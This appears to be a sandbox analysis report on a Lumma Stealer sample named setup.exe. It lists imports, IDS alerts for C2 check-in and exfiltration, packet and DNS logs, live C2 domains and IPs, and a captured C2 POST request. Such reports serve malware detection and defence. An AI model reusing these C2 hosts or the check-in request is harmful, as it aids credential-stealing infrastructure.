RT_GROUP_CURSOR	0x6d308	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States	1.3
RT_GROUP_CURSOR	0x6d458	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States	1.3
RT_GROUP_CURSOR	0x6d5a8	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States	1.3
RT_GROUP_ICON	0x6a7b0	0x76	data	English	United States	0.6610169491525424
RT_VERSION	0x6b4a8	0x35c	data	English	United States	0.436046511627907
RT_MANIFEST	0x6f410	0x224	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with very long lines (488), with CRLF line terminators	English	United States	0.531021897810219
RT_MANIFEST	0x63d50	0x299	XML 1.0 document, ASCII text, with CRLF line terminators	English	United States	0.47368421052631576

Imports

DLL	Import
WININET.dll	HttpSendRequestW, HttpAddRequestHeadersW, HttpOpenRequestW, InternetGetLastResponseInfoW, InternetReadFile, InternetConnectW, InternetOpenW, HttpQueryInfoW, InternetCloseHandle
KERNEL32.dll	GlobalFlags, GetSystemDefaultUILanguage, GetUserDefaultUILanguage, FlushFileBuffers, GetFullPathNameW, GetVolumeInformationW, SetErrorMode, FileTimeToLocalFileTime, GetFileAttributesExW, UnhandledExceptionFilter, SetUnhandledExceptionFilter, IsProcessorFeaturePresent, QueryPerformanceCounter, GetSystemTimeAsFileTime, InitializeSListHead, IsDebuggerPresent, GetStartupInfoW, GetEnvironmentStringsW, LocalReAlloc, LocalAlloc, GlobalHandle, GlobalReAlloc, TlsFree, TlsSetValue, TlsGetValue, TlsAlloc, InitializeCriticalSection, WritePrivateProfileStringW, GetPrivateProfileIntW, lstrcmpA, GetCurrentThread, WriteConsoleW, GetVersionExW, GetCurrentProcessId, CompareStringW, GlobalFindAtomW, GlobalAddAtomW, lstrcmpW, GlobalDeleteAtom, LoadLibraryExW, GetSystemDirectoryW, GetCurrentThreadId, EncodePointer, FormatMessageW, LocalFree, GlobalFree, GlobalLock, GlobalUnlock, GlobalAlloc, GetModuleHandleW, GetModuleHandleA, InitializeCriticalSectionAndSpinCount, LeaveCriticalSection, OutputDebugStringW, RaiseException, RtlUnwind, GetCommandLineA, GetCommandLineW, GetModuleHandleExW, HeapQueryInformation, GetStdHandle, ExitProcess, GetTimeZoneInformation, LCMapStringW, EnterCriticalSection, SetLastError, OutputDebugStringA, GetACP, SystemTimeToFileTime, FileTimeToDosDateTime, UnmapViewOfFile, MapViewOfFile, CreateFileMappingW, GetLocalTime, GetSystemTime, GetCurrentProcess, DuplicateHandle, GetFileType, GetFileInformationByHandle, FindNextFileW, WinExec, DeleteCriticalSection, GetProcessHeap, HeapSize, FindFirstFileExW, IsValidCodePage, GetOEMCP, GetCPInfo, HeapFree, HeapReAlloc, HeapAlloc, DecodePointer, lstrlenW, LoadLibraryA, GetProcAddress, lstrcpynW, GetNumberFormatW, GetLocaleInfoW, MulDiv, GetUserDefaultLangID, FileTimeToSystemTime, SystemTimeToTzSpecificLocalTime, WideCharToMultiByte, MultiByteToWideChar, CopyFileExW, GetPrivateProfileStringW, lstrcpyW, LoadLibraryW, GetModuleFileNameW, FreeLibrary, GetWindowsDirectoryW, GetLastError, WriteFile, SetFilePointer, GetFileSizeEx, GetFileAttributesW, FindFirstFileW, FindClose, DeleteFileW, CloseHandle, ReadFile, GetFileSize, CreateFileW, CopyFileW, FindResourceW, SizeofResource, LockResource, LoadResource, FreeEnvironmentStringsW, SetEnvironmentVariableW, SetStdHandle, GetStringTypeW, SetFilePointerEx, GetConsoleOutputCP, GetConsoleMode, TerminateProcess
USER32.dll	CharUpperW, DestroyMenu, RealChildWindowFromPoint, GetSysColorBrush, PostQuitMessage, TranslateMessage, GetMessageW, GetWindowThreadProcessId, WindowFromPoint, GetCursorPos, ClientToScreen, GetDesktopWindow, GetActiveWindow, GetNextDlgTabItem, EndDialog, CreateDialogIndirectParamW, IsDialogMessageW, SetWindowTextW, IsWindowEnabled, SetDlgItemTextW, ShowWindow, GetMonitorInfoW, MonitorFromWindow, WinHelpW, CallNextHookEx, SetWindowsHookExW, GetLastActivePopup, GetClassNameW, GetClassLongW, GetWindowLongW, CopyRect, MapWindowPoints, AdjustWindowRectEx, GetWindowTextLengthW, GetWindowTextW, RemovePropW, GetPropW, SetPropW, GetScrollPos, ValidateRect, EndPaint, BeginPaint, SetForegroundWindow, GetForegroundWindow, SetMenu, GetMenu, GetCapture, GetKeyState, GetDlgCtrlID, GetDlgItem, IsIconic, IsWindowVisible, EndDeferWindowPos, DeferWindowPos, BeginDeferWindowPos, SetWindowPos, DestroyWindow, IsChild, IsMenu, CreateWindowExW, GetClassInfoExW, GetClassInfoW, RegisterClassW, CallWindowProcW, DefWindowProcW, GetMessageTime, PeekMessageW, GetWindow, DispatchMessageW, LoadBitmapW, SetMenuItemInfoW, GetMenuCheckMarkDimensions, SetMenuItemBitmaps, EnableMenuItem, CheckMenuItem, UnhookWindowsHookEx, GetMenuItemCount, GetMenuItemID, GetSubMenu, OffsetRect, SetRectEmpty, SendDlgItemMessageA, UpdateWindow, GetFocus, DrawEdge, GetParent, SetWindowLongW, MessageBeep, ReleaseDC, GetDC, KillTimer, IsWindow, InflateRect, InvalidateRect, TabbedTextOutW, GrayStringW, DrawTextExW, DrawTextW, FillRect, GetSysColor, GetClientRect, RedrawWindow, DrawIcon, GetSystemMetrics, UnregisterClassW, MessageBoxW, SetActiveWindow, ReleaseCapture, SetCapture, SetFocus, GetAsyncKeyState, wsprintfW, CopyIcon, DestroyCursor, LoadCursorW, PtInRect, ScreenToClient, SetCursor, SetTimer, PostMessageW, GetMessagePos, RegisterWindowMessageW, GetWindowRect, LockWindowUpdate, LoadIconW, EnableWindow, SendMessageW, GetTopWindow
GDI32.dll	MoveToEx, SelectObject, SetViewportExtEx, SetViewportOrgEx, SetWindowExtEx, SetWindowOrgEx, OffsetViewportOrgEx, ScaleViewportExtEx, SetMapMode, SetBkMode, ScaleWindowExtEx, GetObjectW, SelectClipRgn, SaveDC, RestoreDC, LineTo, GetClipBox, DeleteObject, CreatePen, SetTextColor, SetBkColor, CreateBitmap, CreateRectRgn, CreateSolidBrush, ExtTextOutW, TextOutW, RectVisible, PtVisible, GetTextExtentPoint32W, GetCurrentObject, GetBkColor, Escape, CreateCompatibleDC, CreateCompatibleBitmap, BitBlt, GetStockObject, GetDeviceCaps, DeleteDC, CreateDCW, CreateFontIndirectW
WINSPOOL.DRV	OpenPrinterW, DocumentPropertiesW, ClosePrinter
ADVAPI32.dll	RegCreateKeyExW, RegCloseKey, RegEnumValueW, RegEnumKeyW, RegSetValueExW, RegDeleteValueW, RegDeleteKeyW, IsTextUnicode, RegQueryValueExW, RegQueryValueW, RegOpenKeyExW
SHELL32.dll	ShellExecuteExW, ShellExecuteW, ExtractIconW
COMCTL32.dll	ImageList_GetBkColor, ImageList_GetImageInfo, ImageList_SetBkColor
SHLWAPI.dll	PathRemoveFileSpecW, PathIsUNCW, PathStripToRootW, PathFindFileNameW, PathFindExtensionW
ole32.dll	CoUninitialize, CoInitializeEx, CoCreateInstance, CoTaskMemFree, CoCreateGuid, CoInitialize
OLEAUT32.dll	SysFreeString, VariantInit, VariantClear, VariantChangeType, SysAllocString
VERSION.dll	VerQueryValueW, GetFileVersionInfoSizeW, GetFileVersionInfoW
OLEACC.dll	CreateStdAccessibleObject, LresultFromObject

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States
Swedish	Sweden

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-05T18:43:29.530198+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49801	172.67.163.221	443	TCP
2025-01-05T18:43:30.032304+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.6	49801	172.67.163.221	443	TCP
2025-01-05T18:43:30.032304+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.6	49801	172.67.163.221	443	TCP
2025-01-05T18:43:30.516672+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49807	172.67.163.221	443	TCP
2025-01-05T18:43:30.949248+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.6	49807	172.67.163.221	443	TCP
2025-01-05T18:43:30.949248+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.6	49807	172.67.163.221	443	TCP
2025-01-05T18:43:31.703198+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49816	172.67.163.221	443	TCP
2025-01-05T18:43:32.924011+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49823	172.67.163.221	443	TCP
2025-01-05T18:43:33.445325+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.6	49823	172.67.163.221	443	TCP
2025-01-05T18:43:34.089230+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49833	172.67.163.221	443	TCP
2025-01-05T18:43:35.539533+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49844	172.67.163.221	443	TCP
2025-01-05T18:43:36.620199+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49851	172.67.163.221	443	TCP
2025-01-05T18:43:37.848215+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49861	172.67.163.221	443	TCP
2025-01-05T18:43:38.346784+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.6	49861	172.67.163.221	443	TCP
2025-01-05T18:43:39.204120+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49867	185.161.251.21	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 5, 2025 18:43:29.047281981 CET	49801	443	192.168.2.6	172.67.163.221
Jan 5, 2025 18:43:29.047324896 CET	443	49801	172.67.163.221	192.168.2.6
Jan 5, 2025 18:43:29.047414064 CET	49801	443	192.168.2.6	172.67.163.221
Jan 5, 2025 18:43:29.052928925 CET	49801	443	192.168.2.6	172.67.163.221
Jan 5, 2025 18:43:29.052951097 CET	443	49801	172.67.163.221	192.168.2.6
Jan 5, 2025 18:43:29.530128002 CET	443	49801	172.67.163.221	192.168.2.6
Jan 5, 2025 18:43:29.530198097 CET	49801	443	192.168.2.6	172.67.163.221
Jan 5, 2025 18:43:29.531835079 CET	49801	443	192.168.2.6	172.67.163.221
Jan 5, 2025 18:43:29.531845093 CET	443	49801	172.67.163.221	192.168.2.6
Jan 5, 2025 18:43:29.532139063 CET	443	49801	172.67.163.221	192.168.2.6
Jan 5, 2025 18:43:29.581552029 CET	49801	443	192.168.2.6	172.67.163.221
Jan 5, 2025 18:43:29.581589937 CET	49801	443	192.168.2.6	172.67.163.221
Jan 5, 2025 18:43:29.581675053 CET	443	49801	172.67.163.221	192.168.2.6
Jan 5, 2025 18:43:30.032318115 CET	443	49801	172.67.163.221	192.168.2.6
Jan 5, 2025 18:43:30.032423019 CET	443	49801	172.67.163.221	192.168.2.6
Jan 5, 2025 18:43:30.032501936 CET	49801	443	192.168.2.6	172.67.163.221
Jan 5, 2025 18:43:30.034034014 CET	49801	443	192.168.2.6	172.67.163.221
Jan 5, 2025 18:43:30.034051895 CET	443	49801	172.67.163.221	192.168.2.6
Jan 5, 2025 18:43:30.034073114 CET	49801	443	192.168.2.6	172.67.163.221
Jan 5, 2025 18:43:30.034080029 CET	443	49801	172.67.163.221	192.168.2.6
Jan 5, 2025 18:43:30.040990114 CET	49807	443	192.168.2.6	172.67.163.221
Jan 5, 2025 18:43:30.041034937 CET	443	49807	172.67.163.221	192.168.2.6
Jan 5, 2025 18:43:30.041301966 CET	49807	443	192.168.2.6	172.67.163.221
Jan 5, 2025 18:43:30.041722059 CET	49807	443	192.168.2.6	172.67.163.221
Jan 5, 2025 18:43:30.041735888 CET	443	49807	172.67.163.221	192.168.2.6
Jan 5, 2025 18:43:30.516596079 CET	443	49807	172.67.163.221	192.168.2.6
Jan 5, 2025 18:43:30.516671896 CET	49807	443	192.168.2.6	172.67.163.221
Jan 5, 2025 18:43:30.518214941 CET	49807	443	192.168.2.6	172.67.163.221
Jan 5, 2025 18:43:30.518222094 CET	443	49807	172.67.163.221	192.168.2.6
Jan 5, 2025 18:43:30.518606901 CET	443	49807	172.67.163.221	192.168.2.6
Jan 5, 2025 18:43:30.519900084 CET	49807	443	192.168.2.6	172.67.163.221
Jan 5, 2025 18:43:30.519916058 CET	49807	443	192.168.2.6	172.67.163.221
Jan 5, 2025 18:43:30.519969940 CET	443	49807	172.67.163.221	192.168.2.6
Jan 5, 2025 18:43:30.949259996 CET	443	49807	172.67.163.221	192.168.2.6
Jan 5, 2025 18:43:30.949300051 CET	443	49807	172.67.163.221	192.168.2.6
Jan 5, 2025 18:43:30.949326038 CET	443	49807	172.67.163.221	192.168.2.6
Jan 5, 2025 18:43:30.949352980 CET	443	49807	172.67.163.221	192.168.2.6
Jan 5, 2025 18:43:30.949373960 CET	49807	443	192.168.2.6	172.67.163.221
Jan 5, 2025 18:43:30.949378967 CET	443	49807	172.67.163.221	192.168.2.6
Jan 5, 2025 18:43:30.949408054 CET	443	49807	172.67.163.221	192.168.2.6
Jan 5, 2025 18:43:30.949424028 CET	49807	443	192.168.2.6	172.67.163.221
Jan 5, 2025 18:43:30.949563026 CET	49807	443	192.168.2.6	172.67.163.221
Jan 5, 2025 18:43:30.949568033 CET	443	49807	172.67.163.221	192.168.2.6
Jan 5, 2025 18:43:30.950023890 CET	443	49807	172.67.163.221	192.168.2.6
Jan 5, 2025 18:43:30.950160980 CET	49807	443	192.168.2.6	172.67.163.221
Jan 5, 2025 18:43:30.950167894 CET	443	49807	172.67.163.221	192.168.2.6
Jan 5, 2025 18:43:30.953917980 CET	443	49807	172.67.163.221	192.168.2.6
Jan 5, 2025 18:43:30.953942060 CET	443	49807	172.67.163.221	192.168.2.6
Jan 5, 2025 18:43:30.953967094 CET	443	49807	172.67.163.221	192.168.2.6
Jan 5, 2025 18:43:30.953968048 CET	49807	443	192.168.2.6	172.67.163.221
Jan 5, 2025 18:43:30.953979015 CET	443	49807	172.67.163.221	192.168.2.6
Jan 5, 2025 18:43:30.954020023 CET	49807	443	192.168.2.6	172.67.163.221
Jan 5, 2025 18:43:30.954056025 CET	443	49807	172.67.163.221	192.168.2.6
Jan 5, 2025 18:43:30.954117060 CET	49807	443	192.168.2.6	172.67.163.221
Jan 5, 2025 18:43:30.954333067 CET	49807	443	192.168.2.6	172.67.163.221
Jan 5, 2025 18:43:30.954350948 CET	443	49807	172.67.163.221	192.168.2.6
Jan 5, 2025 18:43:30.954359055 CET	49807	443	192.168.2.6	172.67.163.221
Jan 5, 2025 18:43:30.954364061 CET	443	49807	172.67.163.221	192.168.2.6
Jan 5, 2025 18:43:31.243133068 CET	49816	443	192.168.2.6	172.67.163.221
Jan 5, 2025 18:43:31.243145943 CET	443	49816	172.67.163.221	192.168.2.6
Jan 5, 2025 18:43:31.243221998 CET	49816	443	192.168.2.6	172.67.163.221
Jan 5, 2025 18:43:31.243526936 CET	49816	443	192.168.2.6	172.67.163.221
Jan 5, 2025 18:43:31.243539095 CET	443	49816	172.67.163.221	192.168.2.6
Jan 5, 2025 18:43:31.703079939 CET	443	49816	172.67.163.221	192.168.2.6
Jan 5, 2025 18:43:31.703197956 CET	49816	443	192.168.2.6	172.67.163.221
Jan 5, 2025 18:43:31.704442978 CET	49816	443	192.168.2.6	172.67.163.221
Jan 5, 2025 18:43:31.704451084 CET	443	49816	172.67.163.221	192.168.2.6
Jan 5, 2025 18:43:31.704683065 CET	443	49816	172.67.163.221	192.168.2.6
Jan 5, 2025 18:43:31.708806992 CET	49816	443	192.168.2.6	172.67.163.221
Jan 5, 2025 18:43:31.708962917 CET	49816	443	192.168.2.6	172.67.163.221
Jan 5, 2025 18:43:31.708992958 CET	443	49816	172.67.163.221	192.168.2.6
Jan 5, 2025 18:43:32.319957972 CET	443	49816	172.67.163.221	192.168.2.6
Jan 5, 2025 18:43:32.320054054 CET	443	49816	172.67.163.221	192.168.2.6
Jan 5, 2025 18:43:32.320225954 CET	49816	443	192.168.2.6	172.67.163.221
Jan 5, 2025 18:43:32.320383072 CET	49816	443	192.168.2.6	172.67.163.221
Jan 5, 2025 18:43:32.320400953 CET	443	49816	172.67.163.221	192.168.2.6
Jan 5, 2025 18:43:32.422295094 CET	49823	443	192.168.2.6	172.67.163.221
Jan 5, 2025 18:43:32.422334909 CET	443	49823	172.67.163.221	192.168.2.6
Jan 5, 2025 18:43:32.422425032 CET	49823	443	192.168.2.6	172.67.163.221
Jan 5, 2025 18:43:32.422748089 CET	49823	443	192.168.2.6	172.67.163.221
Jan 5, 2025 18:43:32.422760963 CET	443	49823	172.67.163.221	192.168.2.6
Jan 5, 2025 18:43:32.923943043 CET	443	49823	172.67.163.221	192.168.2.6
Jan 5, 2025 18:43:32.924010992 CET	49823	443	192.168.2.6	172.67.163.221
Jan 5, 2025 18:43:32.925292015 CET	49823	443	192.168.2.6	172.67.163.221
Jan 5, 2025 18:43:32.925317049 CET	443	49823	172.67.163.221	192.168.2.6
Jan 5, 2025 18:43:32.925640106 CET	443	49823	172.67.163.221	192.168.2.6
Jan 5, 2025 18:43:32.927066088 CET	49823	443	192.168.2.6	172.67.163.221
Jan 5, 2025 18:43:32.927237034 CET	49823	443	192.168.2.6	172.67.163.221
Jan 5, 2025 18:43:32.927289009 CET	443	49823	172.67.163.221	192.168.2.6
Jan 5, 2025 18:43:32.927337885 CET	49823	443	192.168.2.6	172.67.163.221
Jan 5, 2025 18:43:32.975322008 CET	443	49823	172.67.163.221	192.168.2.6
Jan 5, 2025 18:43:33.445342064 CET	443	49823	172.67.163.221	192.168.2.6
Jan 5, 2025 18:43:33.445429087 CET	443	49823	172.67.163.221	192.168.2.6
Jan 5, 2025 18:43:33.445597887 CET	49823	443	192.168.2.6	172.67.163.221
Jan 5, 2025 18:43:33.445667982 CET	49823	443	192.168.2.6	172.67.163.221
Jan 5, 2025 18:43:33.445686102 CET	443	49823	172.67.163.221	192.168.2.6
Jan 5, 2025 18:43:33.613645077 CET	49833	443	192.168.2.6	172.67.163.221
Jan 5, 2025 18:43:33.613681078 CET	443	49833	172.67.163.221	192.168.2.6
Jan 5, 2025 18:43:33.613776922 CET	49833	443	192.168.2.6	172.67.163.221
Jan 5, 2025 18:43:33.614108086 CET	49833	443	192.168.2.6	172.67.163.221
Jan 5, 2025 18:43:33.614120960 CET	443	49833	172.67.163.221	192.168.2.6
Jan 5, 2025 18:43:34.089162111 CET	443	49833	172.67.163.221	192.168.2.6
Jan 5, 2025 18:43:34.089230061 CET	49833	443	192.168.2.6	172.67.163.221
Jan 5, 2025 18:43:34.090323925 CET	49833	443	192.168.2.6	172.67.163.221
Jan 5, 2025 18:43:34.090333939 CET	443	49833	172.67.163.221	192.168.2.6
Jan 5, 2025 18:43:34.090568066 CET	443	49833	172.67.163.221	192.168.2.6
Jan 5, 2025 18:43:34.092860937 CET	49833	443	192.168.2.6	172.67.163.221
Jan 5, 2025 18:43:34.092988968 CET	49833	443	192.168.2.6	172.67.163.221
Jan 5, 2025 18:43:34.093024969 CET	443	49833	172.67.163.221	192.168.2.6
Jan 5, 2025 18:43:34.093089104 CET	49833	443	192.168.2.6	172.67.163.221
Jan 5, 2025 18:43:34.093101025 CET	443	49833	172.67.163.221	192.168.2.6
Jan 5, 2025 18:43:34.719897985 CET	443	49833	172.67.163.221	192.168.2.6
Jan 5, 2025 18:43:34.719995975 CET	443	49833	172.67.163.221	192.168.2.6
Jan 5, 2025 18:43:34.720201015 CET	49833	443	192.168.2.6	172.67.163.221
Jan 5, 2025 18:43:34.720323086 CET	49833	443	192.168.2.6	172.67.163.221
Jan 5, 2025 18:43:34.720340014 CET	443	49833	172.67.163.221	192.168.2.6
Jan 5, 2025 18:43:35.055308104 CET	49844	443	192.168.2.6	172.67.163.221
Jan 5, 2025 18:43:35.055354118 CET	443	49844	172.67.163.221	192.168.2.6
Jan 5, 2025 18:43:35.055414915 CET	49844	443	192.168.2.6	172.67.163.221
Jan 5, 2025 18:43:35.055712938 CET	49844	443	192.168.2.6	172.67.163.221
Jan 5, 2025 18:43:35.055728912 CET	443	49844	172.67.163.221	192.168.2.6
Jan 5, 2025 18:43:35.539459944 CET	443	49844	172.67.163.221	192.168.2.6
Jan 5, 2025 18:43:35.539532900 CET	49844	443	192.168.2.6	172.67.163.221
Jan 5, 2025 18:43:35.540827990 CET	49844	443	192.168.2.6	172.67.163.221
Jan 5, 2025 18:43:35.540838957 CET	443	49844	172.67.163.221	192.168.2.6
Jan 5, 2025 18:43:35.541066885 CET	443	49844	172.67.163.221	192.168.2.6
Jan 5, 2025 18:43:35.545049906 CET	49844	443	192.168.2.6	172.67.163.221
Jan 5, 2025 18:43:35.545120955 CET	49844	443	192.168.2.6	172.67.163.221
Jan 5, 2025 18:43:35.545126915 CET	443	49844	172.67.163.221	192.168.2.6
Jan 5, 2025 18:43:36.075563908 CET	443	49844	172.67.163.221	192.168.2.6
Jan 5, 2025 18:43:36.075666904 CET	443	49844	172.67.163.221	192.168.2.6
Jan 5, 2025 18:43:36.075906038 CET	49844	443	192.168.2.6	172.67.163.221
Jan 5, 2025 18:43:36.075906038 CET	49844	443	192.168.2.6	172.67.163.221
Jan 5, 2025 18:43:36.157779932 CET	49851	443	192.168.2.6	172.67.163.221
Jan 5, 2025 18:43:36.157819986 CET	443	49851	172.67.163.221	192.168.2.6
Jan 5, 2025 18:43:36.157907963 CET	49851	443	192.168.2.6	172.67.163.221
Jan 5, 2025 18:43:36.158209085 CET	49851	443	192.168.2.6	172.67.163.221
Jan 5, 2025 18:43:36.158221960 CET	443	49851	172.67.163.221	192.168.2.6
Jan 5, 2025 18:43:36.390326023 CET	49844	443	192.168.2.6	172.67.163.221
Jan 5, 2025 18:43:36.390336990 CET	443	49844	172.67.163.221	192.168.2.6
Jan 5, 2025 18:43:36.620091915 CET	443	49851	172.67.163.221	192.168.2.6
Jan 5, 2025 18:43:36.620198965 CET	49851	443	192.168.2.6	172.67.163.221
Jan 5, 2025 18:43:36.621431112 CET	49851	443	192.168.2.6	172.67.163.221
Jan 5, 2025 18:43:36.621443987 CET	443	49851	172.67.163.221	192.168.2.6
Jan 5, 2025 18:43:36.621676922 CET	443	49851	172.67.163.221	192.168.2.6
Jan 5, 2025 18:43:36.622889996 CET	49851	443	192.168.2.6	172.67.163.221
Jan 5, 2025 18:43:36.622994900 CET	49851	443	192.168.2.6	172.67.163.221
Jan 5, 2025 18:43:36.623002052 CET	443	49851	172.67.163.221	192.168.2.6
Jan 5, 2025 18:43:37.319583893 CET	443	49851	172.67.163.221	192.168.2.6
Jan 5, 2025 18:43:37.319685936 CET	443	49851	172.67.163.221	192.168.2.6
Jan 5, 2025 18:43:37.319788933 CET	49851	443	192.168.2.6	172.67.163.221
Jan 5, 2025 18:43:37.319927931 CET	49851	443	192.168.2.6	172.67.163.221
Jan 5, 2025 18:43:37.319940090 CET	443	49851	172.67.163.221	192.168.2.6
Jan 5, 2025 18:43:37.373722076 CET	49861	443	192.168.2.6	172.67.163.221
Jan 5, 2025 18:43:37.373749971 CET	443	49861	172.67.163.221	192.168.2.6
Jan 5, 2025 18:43:37.373819113 CET	49861	443	192.168.2.6	172.67.163.221
Jan 5, 2025 18:43:37.374157906 CET	49861	443	192.168.2.6	172.67.163.221
Jan 5, 2025 18:43:37.374171019 CET	443	49861	172.67.163.221	192.168.2.6
Jan 5, 2025 18:43:37.848145962 CET	443	49861	172.67.163.221	192.168.2.6
Jan 5, 2025 18:43:37.848215103 CET	49861	443	192.168.2.6	172.67.163.221
Jan 5, 2025 18:43:37.849545002 CET	49861	443	192.168.2.6	172.67.163.221
Jan 5, 2025 18:43:37.849550962 CET	443	49861	172.67.163.221	192.168.2.6
Jan 5, 2025 18:43:37.849813938 CET	443	49861	172.67.163.221	192.168.2.6
Jan 5, 2025 18:43:37.851006031 CET	49861	443	192.168.2.6	172.67.163.221
Jan 5, 2025 18:43:37.851022005 CET	49861	443	192.168.2.6	172.67.163.221
Jan 5, 2025 18:43:37.851080894 CET	443	49861	172.67.163.221	192.168.2.6
Jan 5, 2025 18:43:38.346788883 CET	443	49861	172.67.163.221	192.168.2.6
Jan 5, 2025 18:43:38.346899986 CET	443	49861	172.67.163.221	192.168.2.6
Jan 5, 2025 18:43:38.346955061 CET	49861	443	192.168.2.6	172.67.163.221
Jan 5, 2025 18:43:38.347095013 CET	49861	443	192.168.2.6	172.67.163.221
Jan 5, 2025 18:43:38.347100019 CET	443	49861	172.67.163.221	192.168.2.6
Jan 5, 2025 18:43:38.347114086 CET	49861	443	192.168.2.6	172.67.163.221
Jan 5, 2025 18:43:38.347122908 CET	443	49861	172.67.163.221	192.168.2.6
Jan 5, 2025 18:43:38.460321903 CET	49867	443	192.168.2.6	185.161.251.21
Jan 5, 2025 18:43:38.460362911 CET	443	49867	185.161.251.21	192.168.2.6
Jan 5, 2025 18:43:38.460442066 CET	49867	443	192.168.2.6	185.161.251.21
Jan 5, 2025 18:43:38.460792065 CET	49867	443	192.168.2.6	185.161.251.21
Jan 5, 2025 18:43:38.460805893 CET	443	49867	185.161.251.21	192.168.2.6
Jan 5, 2025 18:43:39.204027891 CET	443	49867	185.161.251.21	192.168.2.6
Jan 5, 2025 18:43:39.204119921 CET	49867	443	192.168.2.6	185.161.251.21
Jan 5, 2025 18:43:39.205646992 CET	49867	443	192.168.2.6	185.161.251.21
Jan 5, 2025 18:43:39.205655098 CET	443	49867	185.161.251.21	192.168.2.6
Jan 5, 2025 18:43:39.205902100 CET	443	49867	185.161.251.21	192.168.2.6
Jan 5, 2025 18:43:39.207077026 CET	49867	443	192.168.2.6	185.161.251.21
Jan 5, 2025 18:43:39.251323938 CET	443	49867	185.161.251.21	192.168.2.6
Jan 5, 2025 18:43:39.564559937 CET	443	49867	185.161.251.21	192.168.2.6
Jan 5, 2025 18:43:39.564623117 CET	443	49867	185.161.251.21	192.168.2.6
Jan 5, 2025 18:43:39.564954042 CET	49867	443	192.168.2.6	185.161.251.21
Jan 5, 2025 18:43:39.565001011 CET	49867	443	192.168.2.6	185.161.251.21
Jan 5, 2025 18:43:39.565011978 CET	443	49867	185.161.251.21	192.168.2.6
Jan 5, 2025 18:43:39.565025091 CET	49867	443	192.168.2.6	185.161.251.21
Jan 5, 2025 18:43:39.565030098 CET	443	49867	185.161.251.21	192.168.2.6

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 5, 2025 18:43:29.026487112 CET	52329	53	192.168.2.6	1.1.1.1
Jan 5, 2025 18:43:29.038374901 CET	53	52329	1.1.1.1	192.168.2.6
Jan 5, 2025 18:43:38.349706888 CET	49453	53	192.168.2.6	1.1.1.1
Jan 5, 2025 18:43:38.459451914 CET	53	49453	1.1.1.1	192.168.2.6

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 5, 2025 18:43:29.026487112 CET	192.168.2.6	1.1.1.1	0xc5a8	Standard query (0)	swingybeattyz.sbs	A (IP address)	IN (0x0001)	false
Jan 5, 2025 18:43:38.349706888 CET	192.168.2.6	1.1.1.1	0xad65	Standard query (0)	cegu.shop	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class	DNS over HTTPS
Jan 5, 2025 18:43:29.038374901 CET	1.1.1.1	192.168.2.6	0xc5a8	No error (0)	swingybeattyz.sbs	172.67.163.221	A (IP address)	IN (0x0001)	false
Jan 5, 2025 18:43:29.038374901 CET	1.1.1.1	192.168.2.6	0xc5a8	No error (0)	swingybeattyz.sbs	104.21.57.130	A (IP address)	IN (0x0001)	false
Jan 5, 2025 18:43:38.459451914 CET	1.1.1.1	192.168.2.6	0xad65	No error (0)	cegu.shop	185.161.251.21	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

swingybeattyz.sbs

cegu.shop

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	49801	172.67.163.221	443	6036	C:\Users\user\Desktop\setup.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-05 17:43:29 UTC	264	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: swingybeattyz.sbs
2025-01-05 17:43:29 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
